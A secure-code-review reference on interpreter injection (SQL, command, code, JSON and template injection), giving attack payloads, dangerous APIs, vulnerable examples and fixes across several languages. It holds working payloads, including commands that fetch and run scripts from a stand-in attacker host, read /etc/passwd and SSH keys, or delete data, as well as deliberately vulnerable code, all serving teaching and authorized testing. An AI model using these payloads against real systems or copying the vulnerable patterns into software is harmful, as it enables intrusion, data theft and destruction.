Skip to content

4.2 Code Reference — Review Interpreter Injection

SQL injection

From former 4-04-review-sql-injection.md. Guiding chapter section: 4.2 - Review Interpreter Injection § SQL injection.

4.4 Code Reference — Review SQL Injection

Attack Payloads

Use these in authorized tests against login, search, and filter parameters. Syntax varies by database engine—confirm the backend before relying on a single payload.

Pattern 1: Authentication bypass (string context)

admin'--
' OR '1'='1'--
' OR 1=1 LIMIT 1--
guest' OR 'x'='x

Pattern 2: Comment termination

'; DELETE FROM audit_log WHERE '1'='1
report' /* */ OR 1=1--
# MySQL comment on filter value

Pattern 3: UNION-based extraction

' UNION SELECT email, api_key FROM integrations--
' UNION SELECT NULL, column_name FROM information_schema.columns--

Pattern 4: Boolean-based blind

' AND (SELECT COUNT(*) FROM users)>0--
' AND (SELECT SUBSTRING(api_key,1,1) FROM secrets LIMIT 1)='a'--
' AND 1=2--

Pattern 5: Time-based blind

'; WAITFOR DELAY '0:0:5';--
' OR IF(1=1,BENCHMARK(5000000,SHA1('x')),0)--
'; SELECT pg_sleep(5);--

Pattern 6: Stacked queries (when supported)

'; UPDATE orders SET total=0 WHERE id=1;--

Language-Specific Sinks and Dangerous APIs

Python

cursor.execute(f"SELECT * FROM orders WHERE status = '{status}' ORDER BY {sort_col}")
cursor.execute("SELECT * FROM reports WHERE region = '%s'" % region)
db.engine.execute("SELECT ... WHERE created_at > " + start_date)
Model.objects.raw(f"SELECT ... {filter_clause}")
session.execute(text(f"SELECT ... ORDER BY {user_sort}"))

ORM escape hatches: .extra(order_by=...), RawSQL, connection.cursor().execute(string).

Java

stmt.executeQuery("SELECT * FROM invoices WHERE customer = '" + customer + "'");
PreparedStatement ps = conn.prepareStatement("SELECT * FROM sales ORDER BY " + sortColumn);
entityManager.createNativeQuery("... WHERE " + userFilter);

MyBatis: ${column} in XML mappers (unsafe interpolation) vs #{column} (bound).

C

cmd.CommandText = $"SELECT * FROM Reports WHERE Region = '{region}' ORDER BY {sort}";
context.Database.ExecuteSqlRaw($"DELETE FROM exports WHERE id = {exportId}");
FromSqlRaw($"SELECT * FROM metrics WHERE {userClause}");

Dapper: only safe when SQL uses @param with object properties—not string-built SQL.

JavaScript

db.query(`SELECT * FROM events WHERE type = '${req.query.type}' ORDER BY ${req.query.sort}`);
connection.query("SELECT * FROM logs WHERE level = '" + level + "'");
knex.raw(`SELECT * FROM shipments WHERE ${userWhere}`);

Go

db.Query(fmt.Sprintf("SELECT * FROM orders WHERE region = '%s'", region))
db.Exec("SELECT * FROM reports ORDER BY " + sortCol)

SQL (dynamic fragments in migrations, reports, BI tools)

EXEC('SELECT * FROM sales WHERE quarter = ''' + @quarter + ''' ORDER BY ' + @sortCol);
ORDER BY @userSortColumn;  -- identifier injection if not allowlisted

C

sprintf(query, "SELECT * FROM audit WHERE id = %s ORDER BY %s", audit_id, sort_col);
sqlite3_exec(db, query, ...);

Vulnerable Examples in Other Languages

Java

public List<Order> exportByRegion(String region, String sortColumn) throws SQLException {
    String sql = "SELECT id, total, region FROM orders WHERE region = '"
               + region + "' ORDER BY " + sortColumn;
    Statement stmt = connection.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    return mapOrders(rs);
}

C

public IEnumerable<ReportRow> GetReport(string region, string sort)
{
    var sql = $"SELECT id, amount FROM sales WHERE region = '{region}' ORDER BY {sort}";
    using var cmd = new SqlCommand(sql, _connection);
    using var reader = cmd.ExecuteReader();
    return MapRows(reader);
}

SQL

-- Dynamic report SQL built inside the database (concatenated parameters)
CREATE PROCEDURE dbo.ExportSales @region NVARCHAR(64), @sort NVARCHAR(64)
AS
BEGIN
    DECLARE @sql NVARCHAR(MAX) =
        N'SELECT id, amount FROM sales WHERE region = ''' + @region
        + N''' ORDER BY ' + @sort;
    EXEC(@sql);
END;
-- Second-order: stored filter value breaks a later batch query
SELECT * FROM exports
WHERE criteria LIKE '%' + (SELECT saved_filter FROM user_prefs WHERE id = @uid) + '%';

Go

func exportOrders(db *sql.DB, region, sortCol string) ([]Order, error) {
    query := fmt.Sprintf(
        "SELECT id, total FROM orders WHERE region = '%s' ORDER BY %s",
        region, sortCol,
    )
    rows, err := db.Query(query)
    if err != nil {
        return nil, err
    }
    defer rows.Close()
    return scanOrders(rows)
}

Fix: Safer Patterns and Libraries to Use

Python

Use DB-API parameterized queries or ORM filters. Never interpolate user strings into SQL text.

@app.route("/reports/export")
def export_report():
    region = request.args.get("region", "")
    sort = request.args.get("sort", "created_at")
    cursor = db.cursor()
    cursor.execute(
        "SELECT id, total, region FROM orders WHERE region = ? ORDER BY created_at",
        (region,),
    )
    return jsonify(cursor.fetchall())
# SQLAlchemy — prefer ORM filters or bound text():
from sqlalchemy import text

session.execute(
    text("SELECT id, total FROM orders WHERE region = :region ORDER BY created_at"),
    {"region": region},
)

Important: Dynamic column or table names cannot use ? placeholders. Map user choices to a fixed allowlist before query assembly.

ALLOWED_SORT = {"created_at", "total", "region"}
sort = request.args.get("sort", "created_at")
if sort not in ALLOWED_SORT:
    sort = "created_at"
cursor.execute(f"SELECT id, total, region FROM orders ORDER BY {sort}")  # sort is allowlisted only

Java

Bind user values with PreparedStatement setters.

String sql = "SELECT id, total FROM orders WHERE region = ? ORDER BY created_at";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, region);
ResultSet rs = ps.executeQuery();
// Spring JdbcTemplate
jdbcTemplate.query(
    "SELECT id, amount FROM sales WHERE region = ?",
    rs -> mapRow(rs),
    region
);

Important: In MyBatis, #{} binds safely; ${} performs string substitution and is unsafe for user input.

C

Use ADO.NET parameters with @param placeholders.

var sql = "SELECT id, amount FROM sales WHERE region = @region";
using var cmd = new SqlCommand(sql, _connection);
cmd.Parameters.AddWithValue("@region", region);
using var reader = cmd.ExecuteReader();
// Entity Framework Core — prefer LINQ:
var rows = _db.Sales.Where(s => s.Region == region).OrderBy(s => s.CreatedAt);

Important: FromSqlRaw with string interpolation is unsafe. Use FromSqlRaw with explicit SqlParameter objects or LINQ.

Go

Use database/sql placeholders. Never build query strings with user input.

row := db.QueryRow("SELECT id, total FROM orders WHERE region = ?", region)
// sqlx named query
query := `SELECT id, amount FROM sales WHERE region = :region`
rows, err := db.NamedQuery(query, map[string]interface{}{"region": region})

Important: GORM Raw(fmt.Sprintf(...)) with user input is equivalent to concatenation. Use chain methods or bound arguments.

Command injection

From former 4-05-review-command-injection.md. Guiding chapter section: 4.2 - Review Interpreter Injection § Command injection.

4.5 Code Reference — Review Command Injection

Attack Payloads

Use these payloads in security tests when a parameter reaches a shell or shell=True subprocess. Replace TARGET with the vulnerable parameter (hostname, filename, report id, etc.).

Pattern 1: Command separator (;)

INPUT=sample.wav; id
INPUT=logo.png; cat /etc/passwd

Becomes: ffmpeg -i sample.wav; id -f mp3 out.mp3 when embedded in a shell string.

Pattern 2: Pipes and logical operators (|, ||, &&)

INPUT=clip.mp4 | whoami
INPUT=doc.pdf && curl https://attacker.example/exfil
INPUT=false || wget -O- https://attacker.example/s.sh | sh

Pattern 3: Command substitution (`cmd`, $(cmd))

INPUT=$(id)
INPUT=`cat ~/.ssh/id_rsa`

Pattern 4: Newline and argument injection

INPUT=clip.mp4%0aid
INPUT=-y -i x; id

Some parsers treat %0a or embedded newlines as extra commands when input is passed to sh -c.

Pattern 5: Path and flag injection (non-shell argv)

Even without a shell, extra argv tokens may be injected when the app splits poorly:

filename=report.pdf;rm -rf /
filename=--output=/tmp/pwned

Language-Specific Sinks and Dangerous APIs

Search the codebase for these call patterns. Any path that concatenates or interpolates user input into the command or enables a shell is a review priority.

Python

import os, subprocess

os.system(user_input)
os.popen(f"ffmpeg -i {filename} out.mp3")
subprocess.call(f"tar czf {archive_name} uploads/", shell=True)
subprocess.run(cmd_string, shell=True)          # cmd_string contains user data
subprocess.check_output(user_cmd, shell=True)
asyncio.create_subprocess_shell(user_cmd)

Also review wrappers: fabric, plumbum, invoke.run(..., shell=True).

Java

Runtime.getRuntime().exec("ping -c 3 " + host);
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ping " + host});
new ProcessBuilder("/bin/sh", "-c", userCmd).start();

ProcessBuilder is safe only when each argument is fixed or allowlisted—not when user data is inside -c strings.

C

Process.Start("cmd.exe", $"/c ping {host}");
Process.Start(new ProcessStartInfo { FileName = "sh", Arguments = $"-c \"{userCmd}\"" });

Avoid UseShellExecute = true with user-influenced Arguments.

JavaScript (Node.js)

const { exec, execSync, spawn } = require('child_process');
exec(`ping -c 3 ${req.query.host}`);
execSync(userCmd);
spawn(userCmd, { shell: true });

Go

exec.Command("sh", "-c", "ping -c 3 "+host).Run()
exec.Command(userBinary, userArgs...).Run() // userArgs contains ; if split wrong

Shell (scripts invoked by the app)

ping -c 3 "$host"           # host='x; id'
convert "$file"               # unquoted: convert $file
eval "$user_filter"

C

system(user_buffer);
popen(cmd_line, "r");
execl("/bin/sh", "sh", "-c", constructed, NULL);

Vulnerable Examples in Other Languages

Java

public void resizeImage(String userFilename) throws IOException {
    // User supplies "../../etc/passwd; id" as "filename"
    String[] cmd = { "/bin/sh", "-c", "convert uploads/" + userFilename + " -resize 50% out.png" };
    Runtime.getRuntime().exec(cmd);
}

C

public string RunTraceroute(string target)
{
    var psi = new ProcessStartInfo("cmd.exe", $"/c tracert {target}")
    {
        RedirectStandardOutput = true,
        UseShellExecute = false
    };
    using var proc = Process.Start(psi);
    return proc.StandardOutput.ReadToEnd();
}

Shell

#!/bin/bash
# CGI or cron wrapper: host comes from query string / env
host="$QUERY_HOST"
ping -c 3 "$host"   # host=127.0.0.1; id
# One-liner invoked from app code: nslookup example.com; cat /etc/passwd
nslookup $1

Go

func cloneRepo(w http.ResponseWriter, r *http.Request) {
    repo := r.FormValue("repo_url") // https://x.com/a.git; curl attacker.com/s.sh|sh
    cmd := exec.Command("git", "clone", repo, "/tmp/work")
    out, _ := cmd.CombinedOutput()
    w.Write(out)
}

Fix: Safer Patterns and Libraries to Use

Python

Invoke binaries with an argument list. Never pass user input through a shell.

import re
import subprocess

FILENAME_PATTERN = re.compile(r"^[a-zA-Z0-9._-]{1,128}$")

@app.route("/media/transcode")
def transcode():
    filename = request.args.get("file", "")
    if not FILENAME_PATTERN.fullmatch(filename):
        return "Invalid filename", 400
    src = os.path.join("/var/uploads", filename)
    output = subprocess.run(
        ["ffmpeg", "-y", "-i", src, "-f", "mp3", "/tmp/out.mp3"],
        check=True,
        capture_output=True,
        timeout=60,
    )
    return output.stdout

Important: shlex.quote is a secondary defense only. Prefer argv lists and strict allowlists over quoting into shell strings.

# Prefer native libraries when possible:
from pydub import AudioSegment
AudioSegment.from_file(src).export("/tmp/out.mp3", format="mp3")

Java

Use ProcessBuilder with a fixed binary path and separate arguments.

public void pingHost(String hostname) throws IOException, InterruptedException {
    if (!hostname.matches("[a-zA-Z0-9.-]{1,253}")) {
        throw new IllegalArgumentException("Invalid host");
    }
    ProcessBuilder pb = new ProcessBuilder("ping", "-c", "3", hostname);
    pb.redirectErrorStream(true);
    Process p = pb.start();
    p.waitFor();
}

Important: Never embed user input in -c command strings. Each argument must be a separate list element.

C

Use ProcessStartInfo.ArgumentList instead of /c command strings.

public string RunPing(string target)
{
    if (!Regex.IsMatch(target, @"^[a-zA-Z0-9.-]{1,253}$"))
        throw new ArgumentException("Invalid host");

    var psi = new ProcessStartInfo
    {
        FileName = "ping",
        RedirectStandardOutput = true,
        UseShellExecute = false
    };
    psi.ArgumentList.Add("-c");
    psi.ArgumentList.Add("3");
    psi.ArgumentList.Add(target);
    using var proc = Process.Start(psi);
    return proc!.StandardOutput.ReadToEnd();
}

Important: Avoid UseShellExecute = true when user-influenced arguments are involved.

Go

Pass arguments separately. Never use sh -c with concatenated user input.

var hostPattern = regexp.MustCompile(`^[a-zA-Z0-9.-]{1,253}$`)

func pingHandler(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host")
    if !hostPattern.MatchString(host) {
        http.Error(w, "invalid host", http.StatusBadRequest)
        return
    }
    cmd := exec.Command("ping", "-c", "3", host)
    out, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, "ping failed", http.StatusInternalServerError)
        return
    }
    w.Write(out)
}

Important: Set context timeouts on subprocess calls to limit abuse windows.

Code injection

From former 4-06-review-code-injection.md. Guiding chapter section: 4.2 - Review Interpreter Injection § Code injection.

4.6 Code Reference — Review Code Injection

Attack Payloads

Use these in authorized tests when user input reaches an evaluator. Replace TARGET with the vulnerable parameter. Confirm the runtime language before relying on a single payload.

Pattern 1: Python rule-engine expression injection

eval(user_formula)  # user_formula = "__import__('os').system('whoami')"

Pattern 1b: exec on workflow snippet from JSON

exec(config["on_complete_hook"], globals())

Pattern 2: JavaScript / Node eval

process.mainModule.require('child_process').execSync('id')
global.process.mainModule.require('fs').readFileSync('/etc/passwd')
Function('return this')().constructor.constructor('return process')().mainModule.require('child_process').exec('id')

Pattern 3: Java ScriptEngine / Groovy

java.lang.Runtime.getRuntime().exec("id")
new java.util.Scanner(new java.io.File("/etc/passwd")).useDelimiter("\\A").next()

Pattern 4: Spring SpEL

T(java.lang.Runtime).getRuntime().exec('id')
#{T(java.lang.Runtime).getRuntime().exec('id')}
${T(java.lang.Runtime).getRuntime().exec('id')}

Pattern 5: OGNL (Struts-style)

(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))
(@java.lang.Runtime@getRuntime().exec('id'))

Pattern 6: Deserialization and unsafe loaders (code execution paths)

pickle.loads(user_bytes)
yaml.load(user_yaml)  # PyYAML unsafe

Language-Specific Sinks and Dangerous APIs

Search for evaluation primitives that compile or execute user-supplied strings. Any path that concatenates request data into expression text is a review priority.

Python

result = eval(user_expr)
exec(user_code)
compile(user_snippet, "<string>", "exec")
pickle.loads(request.data)
yaml.load(body)  # without Loader=SafeLoader

Java

ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");
engine.eval(userRule);
ExpressionParser parser = new SpelExpressionParser();
parser.parseExpression(userInput).getValue();
Ognl.getValue(userExpr, context);

C

CSharpScript.EvaluateAsync(userCode);
Microsoft.JScript.Eval.JScriptEvaluate(userExpr, engine);
Assembly.Load(userAssemblyBytes);

JavaScript

eval(req.body.expr);
new Function(userCode)();
vm.runInNewContext(userSnippet);
require('vm').runInThisContext(userInput);

Go

// Less common — review plugin/script hooks and text/template misuse:
plugin.Open(userPath)
text/template.Must(template.New("t").Parse(userTemplate)).Execute(w, data)

Shell (embedded interpreters)

python3 -c "$user_expr"
node -e "$user_js"
ruby -e "$user_ruby"

Vulnerable Examples in Other Languages

Java

public boolean evaluateWorkflowRule(String userRule, Map<String, Object> ctx)
        throws ScriptException {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
    String expression = "status == 'approved' && " + userRule;
    return (Boolean) engine.eval(expression, new SimpleBindings(ctx));
}

C

public decimal EvaluateShippingFormula(string userFormula, decimal weight)
{
    var engine = new Microsoft.ClearScript.V8.V8ScriptEngine();
    engine.AddHostObject("weight", weight);
    return Convert.ToDecimal(engine.Evaluate(userFormula));
}

JavaScript

const express = require("express");
const app = express();

app.post("/rules/test", (req, res) => {
  const formula = req.body.formula || "0";
  const ctx = { orderTotal: req.body.orderTotal };
  res.send(String(eval(`with(ctx){${formula}}`))); // attacker-controlled expression
});

Go

func evaluatePricingRule(w http.ResponseWriter, r *http.Request) {
    rule := r.FormValue("rule")
    vm := goja.New()
    vm.Set("subtotal", parseFloat(r.FormValue("subtotal")))
    val, err := vm.RunString("(" + rule + ")")
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    fmt.Fprint(w, val)
}

Fix: Safer Patterns and Libraries to Use

Python

Avoid eval and exec on untrusted strings. Use restricted evaluators or fixed server-side logic.

from simpleeval import simple_eval

@app.route("/billing/discount")
def apply_discount():
    body = request.get_json()
    rule = body.get("formula", "0")
    subtotal = body.get("subtotal", 0)
    try:
        discount = simple_eval(rule, names={"subtotal": subtotal})
    except Exception:
        return "Invalid formula", 400
    return str(discount)
# ast.literal_eval — literals only, not expressions:
import ast
data = ast.literal_eval('{"key": "value"}')  # safe for literal structures

Important: simpleeval limits semantics but is not a full sandbox for hostile admin input. Prefer fixed formulas implemented in Python for untrusted users.

Java

Replace ScriptEngine.eval on user input with arithmetic-only libraries or fixed Java code.

import net.objecthunter.exp4j.Expression;
import net.objecthunter.exp4j.ExpressionBuilder;

public double evaluateShipping(double weightKg, double distanceKm) {
    Expression expr = new ExpressionBuilder("base + weight * rate + distance * perKm")
        .variables("base", "weight", "rate", "distance", "perKm")
        .build();
    return expr.setVariable("weight", weightKg)
        .setVariable("distance", distanceKm)
        .setVariable("base", 5.0)
        .setVariable("rate", 0.8)
        .setVariable("perKm", 0.05)
        .evaluate();
}

Important: Bind variables through a sandboxed API. Never concatenate user strings into expression text.

C

Use expression parsers limited to math and boolean logic instead of full script engines.

using NCalc;

public object EvaluateFormula(string expression, Dictionary<string, object> parameters)
{
    var expr = new Expression(expression);
    foreach (var kv in parameters)
        expr.Parameters[kv.Key] = kv.Value;
    return expr.Evaluate();
}

Important: Avoid ClearScript or Roslyn on user text unless heavily sandboxed, authorized, and audited.

Go

Use a typed expression language with limited builtins instead of full JavaScript runtimes.

import "github.com/expr-lang/expr"

func evaluateFormula(input string, env map[string]interface{}) (interface{}, error) {
    program, err := expr.Compile(input, expr.Env(env))
    if err != nil {
        return nil, err
    }
    return expr.Run(program, env)
}

Important: Avoid RunString on user input in goja, Otto, or yaegi unless in a hardened sandbox with no host bindings.

JSON injection

From former 4-07-review-json-injection.md. Guiding chapter section: 4.2 - Review Interpreter Injection § JSON injection.

4.7 Code Reference — Review JSON Injection

Attack Payloads

Use these in authorized tests when user input is concatenated into JSON or merged into parsed objects. Confirm whether the backend uses a strict schema before relying on a single payload.

Pattern 1: String termination and field injection

","tenant_id":"999","x":"
","is_billing_admin":true,"note":"

Built manually: {"note":"PAYLOAD","invoice_id":42} where PAYLOAD closes the string and adds keys.

Pattern 2: Prototype pollution (JavaScript merge sinks)

{"__proto__":{"canApproveInvoices":true}}
{"constructor":{"prototype":{"tenant":"evil"}}}
{"__proto__":{"skipFraudCheck":true}}

Pattern 3: Mass-assignment privilege escalation

{"invoice_id":1001,"status":"paid","approved_by":"attacker"}
{"line_total":0,"tax_rate":0,"currency":"USD"}
{"owner_org_id":1,"target_org_id":999}

Pattern 4: Array and type confusion

{"line_items":[1,2,"'); DROP TABLE invoices;--"]}
{"amount":"99.99","amount":0.01}
{"auto_renew":"false"}

Pattern 5: Nested object injection

{"metadata":{"source":"webhook"},"billing":{"write_off":true}}
{"payload":{"__proto__":{"admin":true}}}

Pattern 6: JSON inside JSON (double encoding)

%7B%22status%22%3A%22paid%22%7D
{\"status\":\"paid\"}

Language-Specific Sinks and Dangerous APIs

Search for manual JSON construction and untyped object merges. Any path that trusts client keys without schema validation is a review priority.

Python

payload = f'{{"note":"{note}","invoice_id":{inv_id}}}'
data = json.loads(raw)  # then data.update(request.json)
Invoice(**request.get_json())  # accepts all keys if model allows
webhook = {**defaults, **request.json}

Java

String json = "{\"name\":\"" + name + "\"}";
ObjectMapper mapper = new ObjectMapper();
Map<String, Object> body = mapper.readValue(input, Map.class);
BeanUtils.copyProperties(clientDto, serverEntity);

C

var json = $"{{\"role\":\"{role}\"}}";
var obj = JsonConvert.DeserializeObject<Dictionary<string, object>>(body);
// Mass assignment:
_mapper.Map(clientModel, entity);

JavaScript (Node.js)

const body = `{ "name": "${req.body.name}" }`;
Object.assign(target, req.body);
lodash.merge(config, JSON.parse(userJson));
target.__proto__ = parsed.__proto__;

Go

payload := fmt.Sprintf(`{"name":"%s"}`, name)
json.Unmarshal(body, &map[string]interface{}{})
decoder.DisallowUnknownFields() // missing = accepts extra keys

SQL (JSON columns)

UPDATE users SET profile = profile || user_json_fragment;
JSON_SET(profile, CONCAT('$.', user_key), user_value);

Vulnerable Examples in Other Languages

Java

@PostMapping("/webhooks/invoice")
public ResponseEntity<String> relayInvoice(@RequestBody String raw) {
    String json = "{\"vendor\":\"" + extractVendor(raw) + "\",\"payload\":" + raw + "}";
    eventBus.publish("invoice-events", json);
    return ResponseEntity.ok(json);
}

@PostMapping("/invoices/{id}/adjust")
public Invoice adjust(@PathVariable long id, @RequestBody Map<String, Object> body) {
    Invoice invoice = invoiceRepo.findById(id);
    invoice.setStatus((String) body.get("status")); // attacker sends "status": "paid"
    invoice.setWriteOff((Double) body.get("write_off"));
    return invoiceRepo.save(invoice);
}

C

[HttpPost("webhooks/billing")]
public IActionResult RelayBillingEvent([FromBody] JsonElement body)
{
    var json = $"{{\"event\":\"{body.GetProperty("event")}\",\"amount\":{body.GetProperty("amount")},\"memo\":\"{body.GetProperty("memo")}\"}}";
    _queue.Publish(json);
    return Ok(json);
}

[HttpPatch("subscriptions/{id}")]
public IActionResult PatchSubscription(int id, [FromBody] Dictionary<string, object> fields)
{
    var sub = _db.Subscriptions.Find(id);
    foreach (var kv in fields)
        typeof(Subscription).GetProperty(kv.Key)?.SetValue(sub, kv.Value);
    _db.SaveChanges();
    return Ok(sub);
}

JavaScript

app.post("/api/webhooks/invoice", (req, res) => {
  const memo = req.body.memo;
  const payload = `{"memo":"${memo}","invoice_id":${req.body.invoice_id}}`;
  broker.publish("invoice-events", payload);
  res.type("json").send(payload);
});

app.patch("/api/invoices/:id", (req, res) => {
  Object.assign(currentInvoice, req.body); // merges attacker keys (e.g. status, write_off)
  saveInvoice(currentInvoice);
  res.json(currentInvoice);
});

Go

func relayWebhook(w http.ResponseWriter, r *http.Request) {
    memo := r.FormValue("memo")
    invoiceID := r.FormValue("invoice_id")
    payload := fmt.Sprintf(`{"memo":"%s","invoice_id":%s}`, memo, invoiceID)
    queue.Publish("invoice-events", payload)
    w.Write([]byte(payload))
}

func patchInvoice(w http.ResponseWriter, r *http.Request) {
    var patch map[string]interface{}
    json.NewDecoder(r.Body).Decode(&patch)
    inv := loadInvoice(invoiceIDFromPath(r))
    mergeMap(inv, patch) // copies attacker keys into struct via reflection
    saveInvoice(inv)
}

Fix: Safer Patterns and Libraries to Use

Python

Build structures as dicts, then serialize with json.dumps. Never f-string JSON.

import json

@app.route("/api/webhooks/invoice", methods=["POST"])
def relay_invoice_webhook():
    note = request.form["note"]
    invoice_id = int(request.form["invoice_id"])
    payload = json.dumps({"note": note, "invoice_id": invoice_id})
    queue.publish("invoice-events", payload)
    return payload
from pydantic import BaseModel, ConfigDict, Field

class InvoiceAdjust(BaseModel):
    model_config = ConfigDict(extra="forbid")
    memo: str = Field(max_length=256)

@app.route("/invoices/<int:inv_id>/memo", methods=["PATCH"])
def patch_invoice_memo(inv_id):
    data = InvoiceAdjust.model_validate(request.get_json())
    invoice = load_invoice(inv_id)
    invoice.memo = data.memo  # explicit fields only
    db.session.commit()
    return jsonify({"memo": invoice.memo})

Important: Never __dict__.update(request.json) on persisted entities. Use separate read and write models.

Java

Serialize with Jackson. Bind to typed DTOs with unknown fields rejected.

import com.fasterxml.jackson.databind.ObjectMapper;

ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(Map.of(
    "note", note,
    "invoiceId", invoiceId
));
@JsonIgnoreProperties(ignoreUnknown = true)
public record InvoiceAdjustRequest(
    @NotBlank @Size(max = 256) String memo
    // status and write_off are NOT accepted from client — computed server-side
) {}

Important: Avoid raw Map<String,Object> for security-sensitive endpoints. Use typed records with Bean Validation.

C

Serialize typed objects. Reject unknown members on sensitive models.

var payload = JsonSerializer.Serialize(new BillingWebhookMessage
{
    Event = dto.Event,
    Amount = dto.Amount,
    Tax = ComputeTax(dto.Sku, UserId) // server-computed
});
// Strict deserialization:
var options = new JsonSerializerOptions { UnmappedMemberHandling = JsonUnmappedMemberHandling.Disallow };
var dto = JsonSerializer.Deserialize<InvoiceMemoRequest>(body, options);

Important: Audit [JsonExtensionData] on sensitive models. Unexpected keys must not silently capture privileged fields.

Go

Unmarshal into typed structs. Disallow unknown fields for strict parsing.

func relayWebhook(w http.ResponseWriter, r *http.Request) {
    var req InvoiceWebhookRequest
    dec := json.NewDecoder(r.Body)
    dec.DisallowUnknownFields()
    if err := dec.Decode(&req); err != nil {
        http.Error(w, "invalid json", http.StatusBadRequest)
        return
    }
    payload, _ := json.Marshal(map[string]interface{}{
        "memo":       req.Memo,
        "invoice_id": req.InvoiceID,
    })
    w.Write(payload)
}

Important: Avoid map[string]interface{} for auth or billing endpoints. Use separate input structs from persistence models.

Server-side template injection

From former 4-10-review-ssti.md. Guiding chapter section: 4.2 - Review Interpreter Injection § Server-side template injection.

4.10 Code Reference — Review SSTI

Attack Payloads

Use these in authorized tests when user input reaches template source or expression slots. A math probe that returns 49 confirms evaluation. Replace probes with impact payloads only in authorized environments.

Pattern 1: Detection probes (math evaluation)

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
${{7*7}}
*{7*7}

Pattern 2: Jinja2 / Flask

{{config}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Pattern 3: Twig (PHP)

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Pattern 4: Freemarker (Java)

${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Pattern 5: Thymeleaf / Spring

__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
${T(java.lang.Runtime).getRuntime().exec('id')}

Pattern 6: Pebble / Velocity / Razor-style

{% set cmd = 'id' %}{% import cmd %}
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
@(1+2); System.Diagnostics.Process.Start("cmd.exe","/c id");

Language-Specific Sinks and Dangerous APIs

Search for compile-from-string and expression evaluation in template engines. User data must stay in the data layer, never in template syntax.

Python (Jinja2)

Template("Hello {{ " + name + " }}").render()
env.from_string(user_template).render()
render_template_string(user_html)
Environment(autoescape=False).from_string(user_src)

Java (Thymeleaf / Freemarker / Velocity)

templateEngine.process(userTemplate, context);
cfg.getTemplate(userPath).process(data, writer);
Velocity.evaluate(context, writer, "", userSnippet);

C# (Razor)

var result = Razor.Parse(userTemplate);
Engine.Razor.RunCompile(userContent, "dynamic", null, model);
@Html.Raw(userTemplate)  // when template source is user-controlled

JavaScript (Handlebars / EJS / Nunjucks)

handlebars.compile(userTemplate)(data);
ejs.render(userTemplate, data);
nunjucks.renderString(userTemplate, data);

Go (text/template vs html/template)

tmpl, _ := template.New("t").Parse(userTemplate)  // text/template executes code
tmpl.Execute(w, data)

HTML (server-side includes with expression engines)

<c:set var="tpl" value="${param.template}"/>
${userExpression}  <!-- EL evaluated server-side -->

Vulnerable Examples in Other Languages

Java

public String renderNewsletterPreview(String userSubject, Map<String, Object> ctx) {
    Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
    Template tpl = new Template("preview", "Newsletter: ${subject}", cfg);
    ctx.put("subject", userSubject); // userSubject may contain ${...} directives
    StringWriter out = new StringWriter();
    tpl.process(ctx, out);
    return out.toString();
}

C

public IActionResult PreviewInvoice([FromForm] string headerHtml)
{
    var engine = new RazorLightEngineBuilder()
        .UseMemoryCachingProvider()
        .Build();
    var html = engine.CompileRenderStringAsync(
        Guid.NewGuid().ToString(), headerHtml, model).Result;
    return Content(html, "text/html");
}

HTML

<!-- Admin email preview compiles user-supplied header as template source -->
<form action="/email/preview" method="post">
  <textarea name="header">Invoice {{invoice_id}}</textarea>
  <!-- Attacker adds {{7*7}} or engine-specific directives -->
</form>

<!-- Notification builder treats stored snippet as template source -->
<div>${userHeaderSnippet}</div>

Go

func previewNewsletter(w http.ResponseWriter, r *http.Request) {
    header := r.FormValue("header")
    tmpl, _ := template.New("preview").Parse("{{ define \"main\" }}" + header + "{{ end }}")
    tmpl.ExecuteTemplate(w, "main", nil)
}

Fix: Safer Patterns and Libraries to Use

Python

Load templates from files. Pass user data only as render variables.

from flask import Flask, render_template, request

app = Flask(__name__)

@app.route("/email/preview")
def email_preview():
    subject = request.args.get("subject", "Your invoice")
    return render_template("email_preview.html", subject=subject)
{# email_preview.html — static template file *#}
<p>Subject: {{ subject }}</p>

Important: Never call Environment.from_string() or Template() on HTTP request data. Use FileSystemLoader with static templates on disk.

# Rich text — sanitize, do not compile as template:
import bleach
clean_subject = bleach.clean(subject, tags=[], strip=True)

Java

Precompile static templates from classpath resources. Pass user content via model attributes only.

@GetMapping("/email/preview")
public String preview(@RequestParam String subject, Model model) {
    model.addAttribute("subject", subject); // data variable, not template source
    return "email_preview"; // static email_preview.html with th:text="${subject}"
}
<!-- email_preview.html -->
<p th:text="${subject}"></p>

Important: Never call TemplateEngine.process(String userTpl, ...) on HTTP input. Avoid th:utext on untrusted fields.

C

Ship precompiled Razor views. Do not compile arbitrary strings from users.

@* EmailPreview.cshtml — user content as encoded model field *@
<p>@Model.Subject</p>
public IActionResult Preview(EmailPreviewRequest request)
{
    return View(new EmailPreviewViewModel { Subject = request.Subject });
}

Important: Avoid CompileRenderStringAsync on HTTP bodies unless heavily sandboxed and restricted to break-glass admin roles.

Go

Parse known template files at startup. Never Parse(userInput) on request bodies.

//go:embed templates/*
var tmplFS embed.FS

var emailTmpl = template.Must(
    template.ParseFS(tmplFS, "templates/email_preview.html"))

func emailPreview(w http.ResponseWriter, r *http.Request) {
    subject := r.URL.Query().Get("subject")
    emailTmpl.Execute(w, struct{ Subject string }{Subject: subject})
}

Important: Pass user strings as template data fields, not as template definitions. Use embed.FS or ParseGlob at startup.